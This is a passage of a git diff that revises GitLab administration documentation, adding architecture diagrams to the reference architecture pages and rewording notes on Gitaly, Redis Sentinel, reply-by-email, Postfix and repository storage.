+ }
+
+ state Redis_Queues {
+ "R_Queues_Primary_Node"
+ "R_Queues_Replica_Node_1..2"
+ "R_Queues_Sentinel_1..3"
+ }
+
+ state Gitaly {
+ "Gitaly_1..2"
+ }
+
+ state BackgroundJobs {
+ "Sidekiq_1..4"
+ }
+
+ state ApplicationServer {
+ "GitLab_Rails_1..12"
+ }
+
+ state LoadBalancer {
+ "LoadBalancer_1"
+ }
+
+ state ApplicationMonitoring {
+ "Prometheus"
+ "Grafana"
+ }
+
+ state PgBouncer {
+ "Internal_Load_Balancer"
+ "PgBouncer_1..3"
+ }
+```
+
The Google Cloud Platform (GCP) architectures were built and tested using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
@@ -241,7 +316,7 @@ The following IPs will be used as an example:
- `10.6.0.12`: Consul 2
- `10.6.0.13`: Consul 3
-NOTE: **Note:**
+NOTE:
The configuration processes for the other servers in your reference architecture will
use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect
with the other servers.
@@ -962,7 +1037,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.72`: Sentinel - Cache 2
- `10.6.0.73`: Sentinel - Cache 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1226,7 +1301,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.82`: Sentinel - Queues 2
- `10.6.0.83`: Sentinel - Queues 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1347,7 +1422,7 @@ To configure the Sentinel Queues server:
## Configure Gitaly
-NOTE: **Note:**
+NOTE:
[Gitaly Cluster](../gitaly/praefect.md) support
for the Reference Architectures is being
worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified
@@ -1356,19 +1431,17 @@ and improved designed.
[Gitaly](../gitaly/index.md) server node requirements are dependent on data,
specifically the number of projects and those projects' sizes. It's recommended
-that a Gitaly server node stores no more than 5 TB of data. Although this
-reference architecture includes a recommendation for the number of Gitaly server
-nodes to use, depending on your storage requirements, you may require additional
-Gitaly server nodes.
+that a Gitaly server node stores no more than 5 TB of data. Depending on your
+repository storage requirements, you may require additional Gitaly server nodes.
Due to Gitaly having notable input and output requirements, we strongly
-recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should
-have a throughput of at least 8,000 input/output operations per second (IOPS)
-for read operations and 2,000 IOPS for write operations. These IOPS values are
-initial recommendations, and may be adjusted to greater or lesser values
-depending on the scale of your environment's workload. If you're running the
-environment on a Cloud provider, refer to their documentation about how to
-configure IOPS correctly.
+recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs
+should have a throughput of at least 8,000
+input/output operations per second (IOPS) for read operations and 2,000 IOPS for
+write operations. These IOPS values are initial recommendations, and may be
+adjusted to greater or lesser values depending on the scale of your
+environment's workload. If you're running the environment on a Cloud provider,
+refer to their documentation about how to configure IOPS correctly.
Be sure to note the following items:
@@ -1376,14 +1449,14 @@ Be sure to note the following items:
[repository storage paths](../repository_storage_paths.md).
- A Gitaly server can host one or more storage paths.
- A GitLab server can use one or more Gitaly server nodes.
-- Gitaly addresses must be specified to be correctly resolvable for _all_
- Gitaly clients.
+- Gitaly addresses must be specified to be correctly resolvable for all Gitaly
+ clients.
- Gitaly servers must not be exposed to the public internet, as Gitaly's network
traffic is unencrypted by default. The use of a firewall is highly recommended
to restrict access to the Gitaly server. Another option is to
[use TLS](#gitaly-tls-support).
-NOTE: **Note:**
+NOTE:
The token referred to throughout the Gitaly documentation is an arbitrary
password selected by the administrator. This token is unrelated to tokens
created for the GitLab API or other similar web API tokens.
@@ -1406,8 +1479,8 @@ On each node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page, and _do not_ provide the `EXTERNAL_URL` value.
-1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable
- the network listener, and configure the token:
+1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure
+ storage paths, enable the network listener, and to configure the token:
<!--
updates to following example must also be made at
@@ -1501,7 +1574,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes
that communicate with it following the procedure described in
[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
-NOTE: **Note:**
+NOTE:
The self-signed certificate must specify the address you use to access the
Gitaly server. If you are addressing the Gitaly server by a hostname, you can
either use the Common Name field for this, or add it as a Subject Alternative
@@ -1677,7 +1750,7 @@ To configure the Sidekiq nodes, on each one:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-TIP: **Tip:**
+NOTE:
You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md).
<div align="right">
@@ -1690,12 +1763,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces
This section describes how to configure the GitLab application (Rails) component.
-In our architecture, we run each GitLab Rails node using the Puma webserver, and
-have its number of workers set to 90% of available CPUs, with four threads. For
-nodes running Rails with other components, the worker value should be reduced
-accordingly. We've determined that a worker value of 50% achieves a good balance,
-but this is dependent on workload.
-
The following IPs will be used as an example:
- `10.6.0.111`: GitLab application 1
@@ -1999,7 +2066,7 @@ on what features you intend to use:
|Object storage type|Supported by consolidated configuration?|
|-------------------|----------------------------------------|
-| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
+| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
| [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes |
| [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
| [Uploads](../uploads.md#using-object-storage) | Yes |
diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md
index f023971bdc0..6a0547aeaf9 100644
--- a/doc/administration/reference_architectures/5k_users.md
+++ b/doc/administration/reference_architectures/5k_users.md
@@ -2,7 +2,7 @@
reading_time: true
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architecture: up to 5,000 users **(PREMIUM ONLY)**
@@ -11,7 +11,7 @@ This page describes GitLab reference architecture for up to 5,000 users. For a
full list of reference architectures, see
[Available reference architectures](index.md#available-reference-architectures).
-NOTE: **Note:**
+NOTE:
This reference architecture is designed to help your organization achieve a
highly-available GitLab deployment. If you do not have the expertise or need to
maintain a highly-available environment, you can have a simpler and less
@@ -37,6 +37,63 @@ costly-to-operate environment by using the
| Object storage | n/a | n/a | n/a | n/a | n/a |
| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+```mermaid
+stateDiagram-v2
+ [*] --> LoadBalancer
+ LoadBalancer --> ApplicationServer
+
+ ApplicationServer --> BackgroundJobs
+ ApplicationServer --> Gitaly
+ ApplicationServer --> Redis
+ ApplicationServer --> PgBouncer
+ PgBouncer --> Database
+ ApplicationServer --> ObjectStorage
+ BackgroundJobs --> ObjectStorage
+
+ ApplicationMonitoring -->ApplicationServer
+ ApplicationMonitoring -->Redis
+ ApplicationMonitoring -->PgBouncer
+ ApplicationMonitoring -->Database
+ ApplicationMonitoring -->BackgroundJobs
+
+ state Database {
+ "PG_Primary_Node"
+ "PG_Secondary_Node_1..2"
+ }
+
+ state Redis {
+ "R_Primary_Node"
+ "R_Replica_Node_1..2"
+ "R_Consul/Sentinel_1..3"
+ }
+
+ state Gitaly {
+ "Gitaly_1..2"
+ }
+
+ state BackgroundJobs {
+ "Sidekiq_1..4"
+ }
+
+ state ApplicationServer {
+ "GitLab_Rails_1..3"
+ }
+
+ state LoadBalancer {
+ "LoadBalancer_1"
+ }
+
+ state ApplicationMonitoring {
+ "Prometheus"
+ "Grafana"
+ }
+
+ state PgBouncer {
+ "Internal_Load_Balancer"
+ "PgBouncer_1..3"
+ }
+```
+
The Google Cloud Platform (GCP) architectures were built and tested using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
@@ -444,7 +501,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.12`: Consul/Sentinel 2
- `10.6.0.13`: Consul/Sentinel 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1057,7 +1114,7 @@ Refer to your preferred Load Balancer's documentation for further guidance.
## Configure Gitaly
-NOTE: **Note:**
+NOTE:
[Gitaly Cluster](../gitaly/praefect.md) support
for the Reference Architectures is being
worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified
@@ -1066,19 +1123,17 @@ and improved designed.
[Gitaly](../gitaly/index.md) server node requirements are dependent on data,
specifically the number of projects and those projects' sizes. It's recommended
-that a Gitaly server node stores no more than 5 TB of data. Although this
-reference architecture includes a recommendation for the number of Gitaly server
-nodes to use, depending on your storage requirements, you may require additional
-Gitaly server nodes.
+that a Gitaly server node stores no more than 5 TB of data. Depending on your
+repository storage requirements, you may require additional Gitaly server nodes.
Due to Gitaly having notable input and output requirements, we strongly
-recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should
-have a throughput of at least 8,000 input/output operations per second (IOPS)
-for read operations and 2,000 IOPS for write operations. These IOPS values are
-initial recommendations, and may be adjusted to greater or lesser values
-depending on the scale of your environment's workload. If you're running the
-environment on a Cloud provider, refer to their documentation about how to
-configure IOPS correctly.
+recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs
+should have a throughput of at least 8,000
+input/output operations per second (IOPS) for read operations and 2,000 IOPS for
+write operations. These IOPS values are initial recommendations, and may be
+adjusted to greater or lesser values depending on the scale of your
+environment's workload. If you're running the environment on a Cloud provider,
+refer to their documentation about how to configure IOPS correctly.
Be sure to note the following items:
@@ -1086,14 +1141,14 @@ Be sure to note the following items:
[repository storage paths](../repository_storage_paths.md).
- A Gitaly server can host one or more storage paths.
- A GitLab server can use one or more Gitaly server nodes.
-- Gitaly addresses must be specified to be correctly resolvable for _all_
- Gitaly clients.
+- Gitaly addresses must be specified to be correctly resolvable for all Gitaly
+ clients.
- Gitaly servers must not be exposed to the public internet, as Gitaly's network
traffic is unencrypted by default. The use of a firewall is highly recommended
to restrict access to the Gitaly server. Another option is to
[use TLS](#gitaly-tls-support).
-NOTE: **Note:**
+NOTE:
The token referred to throughout the Gitaly documentation is an arbitrary
password selected by the administrator. This token is unrelated to tokens
created for the GitLab API or other similar web API tokens.
@@ -1116,8 +1171,8 @@ On each node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page, and _do not_ provide the `EXTERNAL_URL` value.
-1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable
- the network listener, and configure the token:
+1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure
+ storage paths, enable the network listener, and to configure the token:
<!--
updates to following example must also be made at
@@ -1243,7 +1298,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes
that communicate with it following the procedure described in
[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
-NOTE: **Note:**
+NOTE:
The self-signed certificate must specify the address you use to access the
Gitaly server. If you are addressing the Gitaly server by a hostname, you can
either use the Common Name field for this, or add it as a Subject Alternative
@@ -1411,7 +1466,7 @@ To configure the Sidekiq nodes, one each one:
run: sidekiq: (pid 30142) 77351s; run: log: (pid 29638) 77386s
```
-TIP: **Tip:**
+NOTE:
You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md).
<div align="right">
@@ -1424,12 +1479,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces
This section describes how to configure the GitLab application (Rails) component.
-In our architecture, we run each GitLab Rails node using the Puma webserver, and
-have its number of workers set to 90% of available CPUs, with four threads. For
-nodes running Rails with other components, the worker value should be reduced
-accordingly. We've determined that a worker value of 50% achieves a good balance,
-but this is dependent on workload.
-
On each node perform the following:
1. If you're [using NFS](#configure-nfs-optional):
@@ -1733,7 +1782,7 @@ on what features you intend to use:
|Object storage type|Supported by consolidated configuration?|
|-------------------|----------------------------------------|
-| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
+| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
| [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes |
| [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
| [Uploads](../uploads.md#using-object-storage) | Yes |
diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md
index 8816d0eecf4..6b04dad9baf 100644
--- a/doc/administration/reference_architectures/index.md
+++ b/doc/administration/reference_architectures/index.md
@@ -2,14 +2,14 @@
type: reference, concepts
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architectures
You can set up GitLab on a single server or scale it up to serve many users.
This page details the recommended Reference Architectures that were built and
-verified by GitLab's Quality and Support teams.
+verified by the GitLab Quality and Support teams.
Below is a chart representing each architecture tier and the number of users
they can handle. As your number of users grow with time, it’s recommended that
@@ -18,8 +18,8 @@ you scale GitLab accordingly.
![Reference Architectures](img/reference-architectures.png)
<!-- Internal link: https://docs.google.com/spreadsheets/d/1obYP4fLKkVVDOljaI3-ozhmCiPtEeMblbBKkf2OADKs/edit#gid=1403207183 -->
-Testing on these reference architectures were performed with
-[GitLab's Performance Tool](https://gitlab.com/gitlab-org/quality/performance)
+Testing on these reference architectures was performed with the
+[GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance)
at specific coded workloads, and the throughputs used for testing were
calculated based on sample customer data. Select the
[reference architecture](#available-reference-architectures) that matches your scale.
@@ -36,8 +36,8 @@ the [default setup](#automated-backups) by
[installing GitLab](../../install/README.md) on a single machine to minimize
maintenance and resource costs.
-If your organization has more than 2,000 users, the recommendation is to scale
-GitLab's components to multiple machine nodes. The machine nodes are grouped by
+If your organization has more than 2,000 users, the recommendation is to scale the
+GitLab components to multiple machine nodes. The machine nodes are grouped by
components. The addition of these nodes increases the performance and
scalability of to your GitLab instance.
@@ -47,7 +47,7 @@ When scaling GitLab, there are several factors to consider:
- A load balancer is added in front to distribute traffic across the application nodes.
- The application nodes connects to a shared file server and PostgreSQL and Redis services on the backend.
-NOTE: **Note:**
+NOTE:
Depending on your workflow, the following recommended reference architectures
may need to be adapted accordingly. Your workload is influenced by factors
including how active your users are, how much automation you use, mirroring,
@@ -68,6 +68,11 @@ The following reference architectures are available:
- [Up to 25,000 users](25k_users.md)
- [Up to 50,000 users](50k_users.md)
+A GitLab [Premium or Ultimate](https://about.gitlab.com/pricing/#self-managed) license is required
+to get assistance from Support with troubleshooting the [2,000 users](2k_users.md)
+and higher reference architectures.
+[Read more about our definition of scaled architectures](https://about.gitlab.com/support/#definition-of-scaled-architecture).
+
## Availability Components
GitLab comes with the following components for your use, listed from least to
@@ -151,7 +156,27 @@ is recommended.
instance to other geographical locations as a read-only fully operational instance
that can also be promoted in case of disaster.
-## Configuring select components with Cloud Native Helm
+## Deviating from the suggested reference architectures
+
+As a general rule of thumb, the further away you move from the Reference Architectures,
+the harder it will be get support for it. With any deviation, you're introducing
+a layer of complexity that will add challenges to finding out where potential
+issues might lie.
+
+The reference architectures use the official GitLab Linux packages (Omnibus
+GitLab) to install and configure the various components (with one notable exception being the suggested select Cloud Native installation method described below). The components are
+installed on separate machines (virtualized or bare metal), with machine hardware
+requirements listed in the "Configuration" column and equivalent VM standard sizes listed
+in GCP/AWS/Azure columns of each [available reference architecture](#available-reference-architectures).
+
+Running components on Docker (including Compose) with the same specs should be fine, as Docker is well known in terms of support.
+However, it is still an additional layer and may still add some support complexities, such as not being able to run `strace` easily in containers.
+
+Other technologies, like [Docker swarm](https://docs.docker.com/engine/swarm/)
+are not officially supported, but can be implemented at your own risk. In that
+case, GitLab Support will not be able to help you.
+
+### Configuring select components with Cloud Native Helm
We also provide [Helm charts](https://docs.gitlab.com/charts/) as a Cloud Native installation
method for GitLab. For the reference architectures, select components can be set up in this
diff --git a/doc/administration/reference_architectures/troubleshooting.md b/doc/administration/reference_architectures/troubleshooting.md
index db2e9b89ba2..406ff57c66d 100644
--- a/doc/administration/reference_architectures/troubleshooting.md
+++ b/doc/administration/reference_architectures/troubleshooting.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Troubleshooting a reference architecture setup
@@ -434,13 +434,13 @@ If the monitoring node is not receiving any data, check that the exporters are
capturing data.
```shell
-curl http[s]://localhost:<EXPORTER LISTENING PORT>/metric
+curl "http[s]://localhost:<EXPORTER LISTENING PORT>/metric"
```
or
```shell
-curl http[s]://localhost:<EXPORTER LISTENING PORT>/-/metric
+curl "http[s]://localhost:<EXPORTER LISTENING PORT>/-/metric"
```
## Troubleshooting PgBouncer
diff --git a/doc/administration/reply_by_email.md b/doc/administration/reply_by_email.md
index 4108635ba2c..ebb9e086cb7 100644
--- a/doc/administration/reply_by_email.md
+++ b/doc/administration/reply_by_email.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Certify
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reply by email
@@ -15,34 +15,40 @@ replying to notification emails.
Make sure [incoming email](incoming_email.md) is set up.
-## How it works?
+## How it works
-### 1. GitLab sends a notification email
+Replying by email happens in three steps:
+
+1. GitLab sends a notification email.
+1. You reply to the notification email.
+1. GitLab receives your reply to the notification email.
+
+### GitLab sends a notification email
When GitLab sends a notification and Reply by email is enabled, the `Reply-To`
header is set to the address defined in your GitLab configuration, with the
`%{key}` placeholder (if present) replaced by a specific "reply key". In
addition, this "reply key" is also added to the `References` header.
-### 2. You reply to the notification email
+### You reply to the notification email
-When you reply to the notification email, your email client will:
+When you reply to the notification email, your email client:
-- send the email to the `Reply-To` address it got from the notification email
-- set the `In-Reply-To` header to the value of the `Message-ID` header from the
+- sends the email to the `Reply-To` address it got from the notification email
+- sets the `In-Reply-To` header to the value of the `Message-ID` header from the
notification email
-- set the `References` header to the value of the `Message-ID` plus the value of
+- sets the `References` header to the value of the `Message-ID` plus the value of
the notification email's `References` header.
-### 3. GitLab receives your reply to the notification email
+### GitLab receives your reply to the notification email
-When GitLab receives your reply, it will look for the "reply key" in the
+When GitLab receives your reply, it looks for the "reply key" in the
following headers, in this order:
1. the `To` header
1. the `References` header
-If it finds a reply key, it will be able to leave your reply as a comment on
+If it finds a reply key, it leaves your reply as a comment on
the entity the notification was about (issue, merge request, commit...).
For more details about the `Message-ID`, `In-Reply-To`, and `References headers`,
diff --git a/doc/administration/reply_by_email_postfix_setup.md b/doc/administration/reply_by_email_postfix_setup.md
index aaadeef8bf5..f310ef04295 100644
--- a/doc/administration/reply_by_email_postfix_setup.md
+++ b/doc/administration/reply_by_email_postfix_setup.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Set up Postfix for incoming email
@@ -91,7 +91,7 @@ The instructions make the assumption that you will be using the email address `i
quit
```
- NOTE: **Note:**
+ NOTE:
The `.` is a literal period on its own line.
If you receive an error after entering `rcpt to: incoming@localhost`
@@ -272,7 +272,7 @@ Courier, which we will install later to add IMAP authentication, requires mailbo
quit
```
- NOTE: **Note:**
+ NOTE:
The `.` is a literal period on its own line.
1. Check if the `incoming` user received the email:
diff --git a/doc/administration/repository_checks.md b/doc/administration/repository_checks.md
index 7d79840b56d..6f7a72a0ef2 100644
--- a/doc/administration/repository_checks.md
+++ b/doc/administration/repository_checks.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -17,7 +17,7 @@ before the check result is visible on the project admin page. If the
checks failed you can see their output on in the [`repocheck.log`
file.](logs.md#repochecklog)
-NOTE: **Note:**
+NOTE:
It is OFF by default because it still causes too many false alarms.
## Periodic checks
diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md
index 16e17458e10..090f95eca12 100644
--- a/doc/administration/repository_storage_paths.md
+++ b/doc/administration/repository_storage_paths.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -40,35 +40,34 @@ storage2:
## Configure GitLab
-> **Warning:**
-> In order for [backups](../raketasks/backup_restore.md) to work correctly, the storage path must **not** be a
-> mount point and the GitLab user should have correct permissions for the parent
-> directory of the path. In Omnibus GitLab this is taken care of automatically,
-> but for source installations you should be extra careful.
->
-> The thing is that for compatibility reasons `gitlab.yml` has a different
-> structure than Omnibus. In `gitlab.yml` you indicate the path for the
-> repositories, for example `/home/git/repositories`, while in Omnibus you
-> indicate `git_data_dirs`, which for the example above would be `/home/git`.
-> Then, Omnibus will create a `repositories` directory under that path to use with
-> `gitlab.yml`.
->
-> This little detail matters because while restoring a backup, the current
-> contents of `/home/git/repositories` [are moved to](https://gitlab.com/gitlab-org/gitlab/blob/033e5423a2594e08a7ebcd2379bd2331f4c39032/lib/backup/repository.rb#L54-56) `/home/git/repositories.old`,
-> so if `/home/git/repositories` is the mount point, then `mv` would be moving
-> things between mount points, and bad things could happen. Ideally,
-> `/home/git` would be the mount point, so then things would be moving within the
-> same mount point. This is guaranteed with Omnibus installations (because they
-> don't specify the full repository path but the parent path), but not for source
-> installations.
+In order for [backups](../raketasks/backup_restore.md) to work correctly, the storage path must **not** be a
+mount point and the GitLab user should have correct permissions for the parent
+directory of the path. In Omnibus GitLab this is taken care of automatically,
+but for source installations you should be extra careful.
+
+The thing is that for compatibility reasons `gitlab.yml` has a different
+structure than Omnibus. In `gitlab.yml` you indicate the path for the
+repositories, for example `/home/git/repositories`, while in Omnibus you
+indicate `git_data_dirs`, which for the example above would be `/home/git`.
+Then, Omnibus creates a `repositories` directory under that path to use with
+`gitlab.yml`.
+
+This little detail matters because while restoring a backup, the current
+contents of `/home/git/repositories` [are moved to](https://gitlab.com/gitlab-org/gitlab/blob/033e5423a2594e08a7ebcd2379bd2331f4c39032/lib/backup/repository.rb#L54-56) `/home/git/repositories.old`,
+so if `/home/git/repositories` is the mount point, then `mv` would be moving
+things between mount points, and bad things could happen. Ideally,
+`/home/git` would be the mount point, so then things would be moving within the
+same mount point. This is guaranteed with Omnibus installations (because they
+don't specify the full repository path but the parent path), but not for source
+installations.
Now that you've read that big fat warning above, let's edit the configuration
files and add the full paths of the alternative repository storage paths. In
the example below, we add two more mount points that are named `nfs_1` and `nfs_2`
respectively.
-NOTE: **Note:**
-This example uses NFS. We do not recommend using EFS for storage as it may impact GitLab's performance. See the [relevant documentation](nfs.md#avoid-using-awss-elastic-file-system-efs) for more details.
+NOTE:
+This example uses NFS. We do not recommend using EFS for storage as it may impact GitLab performance. See the [relevant documentation](nfs.md#avoid-using-awss-elastic-file-system-efs) for more details.
**For installations from source**
@@ -89,9 +88,8 @@ This example uses NFS. We do not recommend using EFS for storage as it may impac
1. [Restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-NOTE: **Note:**
-The [`gitlab_shell: repos_path` entry](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-9-stable/config/gitlab.yml.example#L457) in `gitlab.yml` will be
-deprecated and replaced by `repositories: storages` in the future, so if you
+NOTE:
+We plan to replace [`gitlab_shell: repos_path` entry](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-9-stable/config/gitlab.yml.example#L457) in `gitlab.yml` with `repositories: storages`. If you
are upgrading from a version prior to 8.10, make sure to add the configuration
as described in the step above. After you make the changes and confirm they are
working, you can remove the `repos_path` line.
@@ -112,16 +110,15 @@ working, you can remove the `repos_path` line.
Note that Omnibus stores the repositories in a `repositories` subdirectory
of the `git-data` directory.
-## Choose where new repositories will be stored
+## Choose where new repositories are stored
Once you set the multiple storage paths, you can choose where new repositories
-will be stored under **Admin Area > Settings > Repository >
-Repository storage > Storage nodes for new repositories**.
+are stored in the Admin Area under **Settings > Repository > Repository storage > Storage nodes for new repositories**.
Each storage can be assigned a weight from 0-100. When a new project is created, these
-weights are used to determine the storage location the repository will be created on.
+weights are used to determine the storage location the repository is created on.
![Choose repository storage path in Admin Area](img/repository_storages_admin_ui_v13_1.png)
Beginning with GitLab 8.13.4, multiple paths can be chosen. New repositories
-will be randomly placed on one of the selected paths.
+are randomly placed on one of the selected paths.
diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md
index d2d492c8f1a..6ec43a8ce06 100644
--- a/doc/administration/repository_storage_types.md
+++ b/doc/administration/repository_storage_types.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -19,7 +19,7 @@ locations that can be:
- Accessed via [Gitaly](gitaly/index.md) on its own machine.
In GitLab, this is configured in `/etc/gitlab/gitlab.rb` by the `git_data_dirs({})`
-configuration hash. The storage layouts discussed here will apply to any shard
+configuration hash. The storage layouts discussed here apply to any shard
defined in it.
The `default` repository shard that is available in any installations
@@ -28,24 +28,24 @@ Anything discussed below is expected to be part of that folder.
## Hashed storage
-NOTE: **Note:**
+NOTE:
In GitLab 13.0, hashed storage is enabled by default and the legacy storage is
-deprecated. Support for legacy storage will be removed in GitLab 14.0.
+deprecated. Support for legacy storage is scheduled to be removed in GitLab 14.0.
If you haven't migrated yet, check the
[migration instructions](raketasks/storage.md#migrate-to-hashed-storage).
The option to choose between hashed and legacy storage in the admin area has
been disabled.
Hashed storage is the storage behavior we rolled out with 10.0. Instead
-of coupling project URL and the folder structure where the repository will be
+of coupling project URL and the folder structure where the repository is
stored on disk, we are coupling a hash, based on the project's ID. This makes
the folder structure immutable, and therefore eliminates any requirement to
synchronize state from URLs to disk structure. This means that renaming a group,
-user, or project will cost only the database transaction, and will take effect
+user, or project costs only the database transaction, and takes effect
immediately.
The hash also helps to spread the repositories more evenly on the disk, so the
-top-level directory will contain less folders than the total amount of top-level
+top-level directory contains fewer folders than the total number of top-level
namespaces.
The hash format is based on the hexadecimal representation of SHA256:
@@ -64,7 +64,7 @@ by another folder with the next 2 characters. They are both stored in a special
### Translating hashed storage paths
Troubleshooting problems with the Git repositories, adding hooks, and other
-tasks will require you translate between the human readable project name
+tasks requires you translate between the human readable project name
and the hashed storage path.
#### From project name to hashed path
@@ -102,7 +102,7 @@ To translate from a hashed storage path to a project name:
ProjectRepository.find_by(disk_path: '@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9').project
```
-The quoted string in that command is the directory tree you'll find on your
+The quoted string in that command is the directory tree you can find on your
GitLab server. For example, on a default Omnibus installation this would be
`/var/opt/gitlab/git-data/repositories/@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9.git`
with `.git` from the end of the directory name removed.
@@ -117,7 +117,7 @@ The output includes the project ID and the project name:
> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/1606) in GitLab 12.1.
-DANGER: **Warning:**
+WARNING:
Do not run `git prune` or `git gc` in pool repositories! This can
cause data loss in "real" repositories that depend on the pool in
question.
@@ -135,7 +135,7 @@ when housekeeping is run on the source project.
### Hashed storage coverage migration
-Files stored in an S3 compatible endpoint will not have the downsides
+Files stored in an S3-compatible endpoint do not have the downsides
